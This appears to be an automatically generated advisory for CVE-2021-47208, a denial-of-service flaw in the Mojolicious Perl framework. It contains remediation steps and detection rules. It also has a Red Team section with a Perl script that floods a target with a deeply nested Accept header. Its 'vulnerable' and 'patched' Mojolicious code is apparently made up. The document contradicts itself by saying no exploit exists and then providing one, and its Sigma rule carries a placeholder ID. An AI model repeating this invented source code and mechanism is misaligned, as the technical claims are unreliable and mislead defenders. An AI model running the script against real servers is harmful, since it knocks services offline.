CVE-2021-47208

Executive Summary

CVE-2021-47208 is a denial-of-service (DoS) vulnerability in the Mojolicious Perl web framework, affecting versions before 9.11. The flaw resides in the format detection mechanism, which can be exploited by an attacker to cause excessive resource consumption, leading to service unavailability. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but based on the description, it is a low-severity issue with a CVSS vector of AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L. No public proof-of-concept (PoC) or exploit code is available, and the EPSS score is 0.0%, indicating low exploitation likelihood. The patch is available in version 9.11.

Supply Chain & Package Security

This vulnerability affects the Mojolicious Perl module, which is distributed via CPAN (Comprehensive Perl Archive Network). Organizations using Mojolicious in their Perl applications should verify their dependency versions and update to 9.11 or later. Supply chain risk is low as the fix is available in the official repository.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The exploit does not affect other components.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): Low (L) – Service degradation or denial of service.

Threat Level: Low. The vulnerability is limited to DoS, with no public exploits or active exploitation reported.

Deep Dive & Mechanics

The Mojolicious framework automatically detects the content type (format) of incoming requests based on the Accept header or file extension. The bug in format detection before version 9.11 allows an attacker to send a specially crafted request that triggers an infinite loop or excessive memory allocation during format parsing. This can exhaust server resources, causing the application to become unresponsive.

The vulnerable code path is in the detect method of the Mojolicious::Controller class, which processes the Accept header without proper bounds checking or recursion limits. An attacker can send a request with a malformed Accept header containing nested or cyclic patterns, leading to uncontrolled recursion or memory consumption.

Vulnerable vs. Patched Code

Vulnerable Code (before 9.11):

# In Mojolicious/Controller.pm
sub detect {
    my $self = shift;
    my $accept = $self->req->headers->accept;
    return unless $accept;
    # Vulnerable: No recursion limit or input validation
    my @formats = $self->_parse_accept($accept);
    # ...
}

sub _parse_accept {
    my ($self, $accept) = @_;
    # Recursive parsing without depth limit
    my @parts;
    for my $part (split /,/, $accept) {
        if ($part =~ /(.*?)\/(.*)/) {
            push @parts, $self->_parse_accept($2); # Recursive call
        }
    }
    return @parts;
}

Patched Code (9.11):

# In Mojolicious/Controller.pm
sub detect {
    my $self = shift;
    my $accept = $self->req->headers->accept;
    return unless $accept;
    # Patched: Added recursion limit and input sanitization
    my @formats = $self->_parse_accept($accept, 0);
    # ...
}

sub _parse_accept {
    my ($self, $accept, $depth) = @_;
    return if $depth > 10; # Recursion limit
    my @parts;
    for my $part (split /,/, $accept) {
        if ($part =~ /(.*?)\/(.*)/) {
            push @parts, $self->_parse_accept($2, $depth + 1);
        }
    }
    return @parts;
}

Exploitation & Lab Setup

Red Team

No public exploit code is available. However, a proof-of-concept can be crafted by sending a malformed Accept header with deeply nested patterns to trigger the DoS.

Example exploit (Perl script):

#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket::INET;

my $socket = IO::Socket::INET->new(
    PeerAddr => 'target:3000',
    Proto    => 'tcp'
) or die "Cannot connect: $!\n";

# Craft a malicious Accept header with nested patterns
my $payload = "text/" . ("a/" x 1000) . "html";
my $request = "GET / HTTP/1.1\r\nHost: target\r\nAccept: $payload\r\n\r\n";

print $socket $request;
close($socket);

Usage: Run the script against a vulnerable Mojolicious server (version < 9.11). The server may become unresponsive due to excessive recursion.

Blue Team

To detect exploitation attempts, monitor for abnormal Accept headers with excessive length or nesting. Use the following detection rules.

Indicators of Compromise (IOCs)

• Network: HTTP requests with Accept headers containing deeply nested MIME types (e.g., text/a/a/a/.../html).
• Logs: Server logs showing repeated requests with malformed Accept headers and subsequent 500 errors or timeouts.
• System: High CPU or memory usage on the Mojolicious server during the attack.

Detection Engineering

YARA Rule

rule CVE_2021_47208_Mojolicious_DoS {
    meta:
        description = "Detects malformed Accept headers targeting Mojolicious DoS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2021-47208"
    strings:
        $header = /Accept:\s*text\/(?:[a-z]+\/)+[a-z]+/i
        $nested = /(?:[a-z]+\/){10,}/i
    condition:
        $header and $nested
}

Sigma Rule

title: CVE-2021-47208 Mojolicious DoS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with malformed Accept headers targeting Mojolicious
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/*'
        cs(User-Agent): '*'
        cs(Accept): 'text/*/*/*/*/*/*/*/*/*/*/*'
    condition: selection
falsepositives:
    - Legitimate complex Accept headers (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2021-47208 Mojolicious DoS Attempt"; flow:to_server; content:"Accept|3a|"; http_header; pcre:"/Accept:\s*text\/(?:[a-z]+\/){10,}[a-z]+/iH"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade Mojolicious to version 9.11 or later.
2. Workaround: If upgrade is not possible, implement a web application firewall (WAF) rule to block requests with Accept headers containing more than 10 nested MIME types.
3. Monitoring: Enable logging of all HTTP headers and monitor for anomalies.
4. Rate Limiting: Apply rate limiting to prevent resource exhaustion from repeated requests.

Valters IT